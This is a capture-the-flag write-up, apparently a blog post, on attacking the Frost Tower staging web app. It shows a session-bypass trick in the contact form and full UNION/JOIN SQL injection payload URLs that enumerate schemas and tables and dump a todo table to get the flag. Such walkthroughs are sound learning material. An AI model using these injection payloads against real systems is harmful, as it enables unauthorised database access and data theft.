If we look at app.get('/login'), we will see it sets the value of session.uniqueID after successful login. However, SQL injection is not possible on the login page due to tempCont.escape(username) or mysql.escape().
However, if we search (CTRL+F) the source code in the server.js file for "session.uniqueID =" to find where else set it, we will come across an interesting function that will set it as well which is app.post('/postcontact').
You can see the session.uniqueID being set on the green arrow. The red arrows show that for it to be set, there is a condition which is if the email already exists in the database, it will pass the IF condition on line 148 and set "sess.uniqueID = email". The ELSE condition at line 155 will create a new contact in line 157 if it is new. Thus, to make it pass the IF condition, we need to create the account using the same email twice. I will be using the same information for other fields such as names as well.
If it is successful, it should show it is added to the database. To make the exploit work, just key in the same email since the SQL query's condition only depends on email.
I scrolled through the source code in the server.js file but all SQL query seems to be parameterized or escape bad characters to prevent SQL injection (SQLi). Therefore, I tried to find mistakes in the code where escape() is used on the ID field. Indeed, I have found an HTTP request that has this SQLi vulnerability.
You might be thinking how SQLi on the ID field works when there is escape()? Well, escape() helps to escape characters like quotes. Since ID uses an integer, we don't need quotes at all to append our malicious SQL query. Besides that, m.raw() will process our SQL injection payload in raw instead of escaping some special characters by default (read this post on raw()). Therefore if we try SQL injection on the app.get('/edit/:id') page, it will not work despite the vulnerability being the same but without m.raw().
If we check out the uniquecontact table from frosttower-web\sql\encontact_db.sql file, we will see table uniquecontact has 7 columns.
Since the SQL query on the app.get('detail/:id') page select all rows (SELECT *) from table uniquecontact, we have to match with 7 columns for our SQLi payload if we use UNION.
1,2 UNION SELECT 1,2,3,4,5,6,7-- -
However, note that there is a comma delimiter separator on source code line 204. Moreover, the vulnerability is via passing the IF condition on line 203. Otherwise, the ELSE block on line 212 will do a SQL parameterization which prevents SQLi. Thus, we need at least one comma in our URL. I only use two ID parameters where the 2nd parameter will contain the SQLi payload.
As the example above uses 7 commas, it will split my payload into the following SQL query:
SELECT * FROM uniquecontact WHERE id=1 or id=2 UNION SELECT 1 or id=2 or id=3 or id=4 or id=5 or id=6 or id=7-- - or id=?
This is not what we want. Thus, we need to find a comma alternative. I found this source which looks promising using JOIN. Thus, the newly crafted SQLi is shown below with a screenshot of it working.
Based on the challenge, we need to find the job offer from the TODO table. However, the frosttower-web\sql\encontact_db.sql file does not show it doesn't mean it is not in that schema. It can also be in another schema. Hence, we can follow this cheat sheet to find out the schema available followed by the tables available, and finally the column names of the TODO table.
Firstly, let's find out what schemas are there.
https://staging.jackfrosttower.com/detail/1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT group_concat(schema_name) FROM information_schema.schemata)B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G)-- -
We will see there are only two schemas. The default MySQL schema and encontact. Therefore, the TODO table is probably in the encontract schema but not shown on the frosttower-web\sql\encontact_db.sql file. Thus, let's look at the tables available in the encontract schema.
https://staging.jackfrosttower.com/detail/1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema="encontact")B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G)-- -
True enough, we see the todo table. We will have to look at the columns available before querying the table.
https://staging.jackfrosttower.com/detail/1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name="todo")B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G)-- -
The column "note" seems interesting. Probably all incompleted tasks by Jake Frost are in it. Let's query it.
https://staging.jackfrosttower.com/detail/1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT group_concat(note) FROM todo)B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G)-- -
This allows us to see the flag which is "clerk". We can now submit the flag.
You Won!
It isn't really a challenge but doing these will give you the last few achievements for this CTF. Click on the letter of the spaceship located on the Frost Tower's rooftop.
Finally, talked to the different NPCs from right to the left in order to complete this CTF.
I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here.
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.